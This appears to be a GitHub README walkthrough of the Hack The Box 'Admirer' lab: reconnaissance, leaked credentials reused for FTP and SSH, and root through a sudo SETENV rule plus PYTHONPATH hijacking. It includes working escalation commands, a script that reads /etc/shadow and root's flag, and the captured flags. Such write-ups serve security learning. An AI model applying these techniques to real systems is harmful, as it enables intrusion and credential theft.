chorankates / Admirer

HTB - Admirer

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

22 - Admirer

description

10.10.10.187

walkthrough

recon

 $ nmap -sV -sC -A -Pn -p- admirer.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2022-09-03 16:48 MDT
Nmap scan report for admirer.htb (10.10.10.187)
Host is up (0.062s latency).
Not shown: 65532 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey:
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

haven't seen ftp in a minute - also thanks for looking at robots.txt contents nmap

80

waiting for nmap, presumed web.

pretty basic image gallery with some 'cute' phrases under 'inspiring' images

towards the bottom:

<h2>Get in touch</h2>
<form method="post" action="#"><!-- Still under development... This does not send anything yet, but it looks nice! -->

/admin-dir gives a 403

the actual contents of robots.txt

User-agent: *

# This folder contains personal contacts and creds, so no one -not even robots- should see it - waldo
Disallow: /admin-dir

probably a username in waldo

$ gobuster dir -u http://admirer.htb/admin-dir -x txt -r -t 40 -w ~/git/ctf/tools/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://admirer.htb/admin-dir
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /home/conor/git/ctf/tools/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
2022/09/03 17:02:09 Starting gobuster in directory enumeration mode
===============================================================
/contacts.txt         (Status: 200) [Size: 350]

oi, that's a bit silly.

a few more usernames

  • p.wise
  • r.nayyar
  • a.bialki
  • l.galecki
  • h.helberg
  • b.rauch

robots.txt said contacts and creds, so guessing we need to use these names to find their creds via gobuster

or just keep waiting, because

/credentials.txt      (Status: 200) [Size: 136]

nice.

$ cat credentials.txt
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

21

$ ftp admirer.htb
Connected to admirer.htb.
220 (vsFTPd 3.0.3)
Name (admirer.htb:conor): anonymous
530 Permission denied.
ftp: Login failed

hrm. msfconsole shows an exploit for vsftpd 2.3.4, and exploitdb only shows a DoS for 3.0.3

$ ftp admirer.htb
Connected to admirer.htb.
220 (vsFTPd 3.0.3)
Name (admirer.htb:conor): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||10598|)
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
ftp> get dump.sql
local: dump.sql remote: dump.sql
229 Entering Extended Passive Mode (|||36183|)
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
100% |*************************************************************************************************************************************************|  3405        1.78 MiB/s    00:00 ETA
226 Transfer complete.
3405 bytes received in 00:00 (55.98 KiB/s)
ftp> get html.tar.gz
local: html.tar.gz remote: html.tar.gz
229 Entering Extended Passive Mode (|||16268|)
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
100% |*************************************************************************************************************************************************|  5147 KiB    1.94 MiB/s    00:00 ETA
226 Transfer complete.
5270987 bytes received in 00:02 (1.90 MiB/s)
ftp>

dump.sql is just the paths to images and their quotes html.tar.gz is

$ tree html
html
├── assets
│   ├── css
│   │   ├── fontawesome-all.min.css
│   │   ├── images
│   │   │   ├── arrow.svg
│   │   │   ├── close.svg
│   │   │   └── spinner.svg
│   │   ├── main.css
│   │   └── noscript.css
│   ├── js
│   │   ├── breakpoints.min.js
│   │   ├── browser.min.js
│   │   ├── jquery.min.js
│   │   ├── jquery.poptrox.min.js
│   │   ├── main.js
│   │   └── util.js
│   ├── sass
│   │   ├── base
│   │   │   ├── _page.scss
│   │   │   ├── _reset.scss
│   │   │   └── _typography.scss
│   │   ├── components
│   │   │   ├── _actions.scss
│   │   │   ├── _button.scss
│   │   │   ├── _form.scss
│   │   │   ├── _icon.scss
│   │   │   ├── _icons.scss
│   │   │   ├── _list.scss
│   │   │   ├── _panel.scss
│   │   │   ├── _poptrox-popup.scss
│   │   │   └── _table.scss
│   │   ├── layout
│   │   │   ├── _footer.scss
│   │   │   ├── _header.scss
│   │   │   ├── _main.scss
│   │   │   └── _wrapper.scss
│   │   ├── libs
│   │   │   ├── _breakpoints.scss
│   │   │   ├── _functions.scss
│   │   │   ├── _mixins.scss
│   │   │   ├── _vars.scss
│   │   │   └── _vendor.scss
│   │   ├── main.scss
│   │   └── noscript.scss
│   └── webfonts
│       ├── fa-brands-400.eot
│       ├── fa-brands-400.svg
│       ├── fa-brands-400.ttf
│       ├── fa-brands-400.woff
│       ├── fa-brands-400.woff2
│       ├── fa-regular-400.eot
│       ├── fa-regular-400.svg
│       ├── fa-regular-400.ttf
│       ├── fa-regular-400.woff
│       ├── fa-regular-400.woff2
│       ├── fa-solid-900.eot
│       ├── fa-solid-900.svg
│       ├── fa-solid-900.ttf
│       ├── fa-solid-900.woff
│       └── fa-solid-900.woff2
├── images
│   ├── fulls
│   │   ├── arch01.jpg
│   │   ├── arch02.jpg
│   │   ├── art01.jpg
│   │   ├── art02.jpg
│   │   ├── eng01.jpg
│   │   ├── eng02.jpg
│   │   ├── mind01.jpg
│   │   ├── mind02.jpg
│   │   ├── mus01.jpg
│   │   ├── mus02.jpg
│   │   ├── nat01.jpg
│   │   └── nat02.jpg
│   └── thumbs
│       ├── thmb_arch01.jpg
│       ├── thmb_arch02.jpg
│       ├── thmb_art01.jpg
│       ├── thmb_art02.jpg
│       ├── thmb_eng01.jpg
│       ├── thmb_eng02.jpg
│       ├── thmb_mind01.jpg
│       ├── thmb_mind02.jpg
│       ├── thmb_mus01.jpg
│       ├── thmb_mus02.jpg
│       ├── thmb_nat01.jpg
│       └── thmb_nat02.jpg
├── index.php
├── robots.txt
├── utility-scripts
│   ├── admin_tasks.php
│   ├── db_admin.php
│   ├── info.php
│   └── phptest.php
└── w4ld0s_s3cr3t_d1r
    ├── contacts.txt
    └── credentials.txt

we've already got contacts.txt and credentials.txt

utility-scripts looks interesting:

$ cat html/utility-scripts/info.php
<?php phpinfo(); ?>
$ cat html/utility-scripts/phptest.php
<?php
  echo("Just a test to see if PHP works.");
?>

ok so not those, but

db_admin.php:

<?php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);

  // Check connection
  if ($conn->connect_error) {
      die("Connection failed: " . $conn->connect_error);
  }
  echo "Connected successfully";


  // TODO: Finish implementing this or find a better open source alternative
?>

admin_tasks.php:

  <?php
  // Web Interface to the admin_tasks script
  //
  if(isset($_REQUEST['task']))
  {
    $task = $_REQUEST['task'];
    if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
       $task == '5' || $task == '6' || $task == '7')
    {
      /***********************************************************************************
         Available options:
           1) View system uptime
           2) View logged in users
           3) View crontab (current user only)
           4) Backup passwd file (not working)
           5) Backup shadow file (not working)
           6) Backup web data (not working)
           7) Backup database (not working)

           NOTE: Options 4-7 are currently NOT working because they need root privileges.
                 I'm leaving them in the valid tasks in case I figure out a way
                 to securely run code as root from a PHP page.
      ************************************************************************************/
      echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
    }
    else
    {
      echo("Invalid task.");
    }
  }
  ?>

so it feels like RCE via admin_tasks.php, but we only have one injection point, $task, which is only passed as an argument if it is 1..7. null bytes? solved in php 5.0.3 and we're on 7.0.33

trying ssh credentials

$ ssh -l ftpuser admirer.htb
Warning: Permanently added 'admirer.htb' (ED25519) to the list of known hosts.
ftpuser@admirer.htb's password:
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Connection to admirer.htb closed.

so it's letting us log in, but then immediately killing the session. can't execute commands

tried a variety of auths with users from contacts.txt and passwords from credentials.txt, but nothing sticking.

looking back over the contents of html.tar.gz, there is a difference in credentials.txt:

$ diff credentials.txt html/w4ld0s_s3cr3t_d1r/credentials.txt
0a1,4
> [Bank Account]
> waldo.11
> Ezy]m27}OREc$
>

but that is not the ssh password for waldo either..

more digging in the contents, see that index.php actually has db_admin.php (effectively) inlined, but the creds are different:

		 <?php
                        $servername = "localhost";
                        $username = "waldo";
                        $password = "]F7jLHw:*G>UPrTo}~A"d6b";
                        $dbname = "admirerdb";

but still no love on ssh

penny, leonard, howard and bernadette are all characters on that god awful show "the big bang theory" - is waldo a reference there too?

back to admin_tasks.php

when sending task=2.0, get Unknown option.

but task=10 gets Invalid task.

the second is in the code we have, but the first is not

adminer.php

// TODO: Finish implementing this or find a better open source alternative

since db_admin.php is 404, they must have done this TODO.

adminer.php is the new name for phpMyAdmin, and sure enough, this page gives us a prompt to login to a db

...

and the password is the same for ssh login for waldo

$ ssh -l waldo admirer.htb
Warning: Permanently added 'admirer.htb' (ED25519) to the list of known hosts.
waldo@admirer.htb's password:
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$

waldo up

waldo@admirer:~$ cat user.txt
4cb9ac201c71dfb64b438317bf100869
waldo@admirer:~$ mail
"/var/mail/waldo": 20 messages 20 new
>N   1 Cron Daemon        Wed Apr 22 11:50  21/719   Cron <root@admirer> rm -r /tmp/*
 N   2 Cron Daemon        Wed Apr 22 11:55  21/719   Cron <root@admirer> rm -r /tmp/*
 N   3 Cron Daemon        Wed Apr 22 12:00  21/719   Cron <root@admirer> rm -r /tmp/*
 N   4 Cron Daemon        Wed Apr 29 09:50  21/719   Cron <root@admirer> rm -r /tmp/*
 N   5 Cron Daemon        Wed Apr 29 09:55  21/719   Cron <root@admirer> rm -r /tmp/*
 N   6 Cron Daemon        Wed Apr 29 10:00  21/719   Cron <root@admirer> rm -r /tmp/*
 N   7 Cron Daemon        Wed Apr 29 10:05  21/719   Cron <root@admirer> rm -r /tmp/*
 N   8 Cron Daemon        Wed Apr 29 10:10  21/719   Cron <root@admirer> rm -r /tmp/*
 N   9 Cron Daemon        Wed Apr 29 10:15  21/719   Cron <root@admirer> rm -r /tmp/*
 N  10 Cron Daemon        Wed Apr 29 10:20  21/719   Cron <root@admirer> rm -r /tmp/*
 N  11 Cron Daemon        Wed Apr 29 10:40  21/719   Cron <root@admirer> rm -r /tmp/*
 N  12 Cron Daemon        Wed Apr 29 10:45  21/719   Cron <root@admirer> rm -r /tmp/*
 N  13 Cron Daemon        Wed Apr 29 10:50  21/719   Cron <root@admirer> rm -r /tmp/*
 N  14 Cron Daemon        Wed Apr 29 10:55  21/719   Cron <root@admirer> rm -r /tmp/*
 N  15 Cron Daemon        Wed Apr 29 11:05  21/719   Cron <root@admirer> rm -r /tmp/*
 N  16 Cron Daemon        Wed Apr 29 11:09  21/723   Cron <root@admirer> rm -r /tmp/*.*
 N  17 Cron Daemon        Wed Apr 29 11:10  21/736   Cron <root@admirer> rm /home/waldo/*.p*
 N  18 Cron Daemon        Wed Apr 29 11:12  21/736   Cron <root@admirer> rm /home/waldo/*.p*
 N  19 Cron Daemon        Wed Apr 29 11:13  21/736   Cron <root@admirer> rm /home/waldo/*.p*
 N  20 Cron Daemon        Wed Apr 29 11:14  21/736   Cron <root@admirer> rm /home/waldo/*.p*
?

ok, so root is running something out of waldo's home dir

waldo@admirer:~$ ls -la /opt/
total 12
drwxr-xr-x  3 root root   4096 Nov 30  2019 .
drwxr-xr-x 22 root root   4096 Apr 16  2020 ..
drwxr-xr-x  2 root admins 4096 Dec  2  2019 scripts
waldo@admirer:~$ ls -la /opt/scripts/
total 16
drwxr-xr-x 2 root admins 4096 Dec  2  2019 .
drwxr-xr-x 3 root root   4096 Nov 30  2019 ..
-rwxr-xr-x 1 root admins 2613 Dec  2  2019 admin_tasks.sh
-rwxr----- 1 root admins  198 Dec  2  2019 backup.py

admin_tasks.sh is what we expect, and has appropriate UID checks.

backup.py points us to /srv/ftp, which exists, but we have no permissions to.

linpeas to see what we're missing

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::21                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

...

╔══════════╣ Users with console
amy:x:1004:1007:Amy Bialik:/home/amy:/bin/bash
bernadette:x:1007:1010:Bernadette Rauch:/home/bernadette:/bin/bash
howard:x:1008:1011:Howard Helberg:/home/howard:/bin/bash
leonard:x:1005:1008:Leonard Galecki:/home/leonard:/bin/bash
penny:x:1002:1005:Penny Wise:/home/penny:/bin/bash
rajesh:x:1003:1006:Rajesh Nayyar:/home/rajesh:/bin/bash
root:x:0:0:root:/root:/bin/bash
waldo:x:1000:1000:Waldo Cooper:/home/waldo:/bin/bash

╔══════════╣ All users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon[0m) gid=1(daemon[0m) groups=1(daemon[0m)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)
uid=1001(ftpuser) gid=1002(ftpuser) groups=1002(ftpuser),111(ftp)
uid=1002(penny) gid=1005(penny) groups=1005(penny),1001(admins)
uid=1003(rajesh) gid=1006(rajesh) groups=1006(rajesh),1003(developers)
uid=1004(amy) gid=1007(amy) groups=1007(amy),1003(developers)
uid=1005(leonard) gid=1008(leonard) groups=1008(leonard),1003(developers)
uid=1007(bernadette) gid=1010(bernadette) groups=1010(bernadette),1004(designers)
uid=1008(howard) gid=1011(howard) groups=1011(howard),1004(designers)

...

╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
...
-rwsr-xr-x 1 root root 996K Sep  3  2019 /usr/sbin/exim4

...

╔══════════╣ Files inside others home (limit 20)
/home/leonard/.profile
/home/leonard/user.txt
/home/leonard/.bashrc
/home/leonard/.bash_logout
/home/rajesh/.profile
/home/rajesh/user.txt
/home/rajesh/.bashrc
/home/rajesh/.bash_logout
/home/bernadette/.profile
/home/bernadette/user.txt
/home/bernadette/.bashrc
/home/bernadette/.bash_logout
/home/amy/.profile
/home/amy/user.txt
/home/amy/.bashrc
/home/amy/.bash_logout
/home/howard/.profile
/home/howard/user.txt
/home/howard/.bashrc
/home/howard/.bash_logout


hmm - everyone has a user.txt?

waldo@admirer:~$ cat /home/bernadette/user.txt
This is your home folder. Use it well.
waldo@admirer:~$ cat /home/rajesh/user.txt
This is your home folder. Use it well.

red herring. maybe exim4?

but first let's check sudo/crontab

waldo@admirer:~$ sudo -l
[sudo] password for waldo:
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh
waldo@admirer:~$ crontab -l
no crontab for waldo

SETENV means we can control environment variables and run admin_tasks.sh which sounds like a $PATH vuln, but quick look shows all commands are fully pathed, and we don't have write access to the file itself

grabbing root cron while we're here

waldo@admirer:~$ sudo /opt/scripts/admin_tasks.sh 3
# Edit this file to introduce tasks to be run by cron.
#
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
#
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').#
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
#
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
#
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
#
# For more information see the manual pages of crontab(5) and cron(8)
#
# m h  dom mon dow   command
*/3 * * * * rm -r /tmp/*.* >/dev/null 2>&1
*/3 * * * * rm /home/waldo/*.p* >/dev/null 2>&1

ok well those rm commands are not fully pathed

and .. to be fair, echo is a command and isn't path'd either.

but

waldo@admirer:~$ cat echo
#!/bin/bash
cat /root/root.txt > /tmp/foo.txt
cat /etc/shadow
cat /root/root.txt
/bin/echo $*
waldo@admirer:~$ PATH=/home/waldo/:$PATH sudo /opt/scripts/admin_tasks.sh

isn't getting triggered.

but https://medium.com/analytics-vidhya/python-library-hijacking-on-linux-with-examples-a31e6a9860c8 points us to PYTHONPATH hijacking

waldo@admirer:~$ cat /opt/scripts/backup.py
#!/usr/bin/python3

from shutil import make_archive

src = '/var/www/html/'

# old ftp directory, not used anymore
#dst = '/srv/ftp/html'

dst = '/var/backups/html'

make_archive(dst, 'gztar', src)

that looks ripe. copy shutil.py and modify make_archive to include

   os.system("cat /root/root.txt > /tmp/foo.txt")

then trigger a backup

waldo@admirer:~$ sudo PYTHONPATH=. /opt/scripts/admin_tasks.sh

[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:~$ ls -l /tmp
total 8
-rw-r--r-- 1 root root   33 Sep  4 16:17 foo.txt
drwx------ 2 root root 4096 Sep  3 23:48 vmware-root

had to retrigger this a few times since the root cronjob is deleting python scripts in our home dir, and all files in /tmp

but eventually

waldo@admirer:~$ cat /tmp/foo.txt
d8dac6a7dd3937b5e9da4c5fd00ac2ce

flag

user:4cb9ac201c71dfb64b438317bf100869
root:d8dac6a7dd3937b5e9da4c5fd00ac2ce

About

HTB - Admirer


Languages

Language:Shell 100.0%Language:Python 0.0%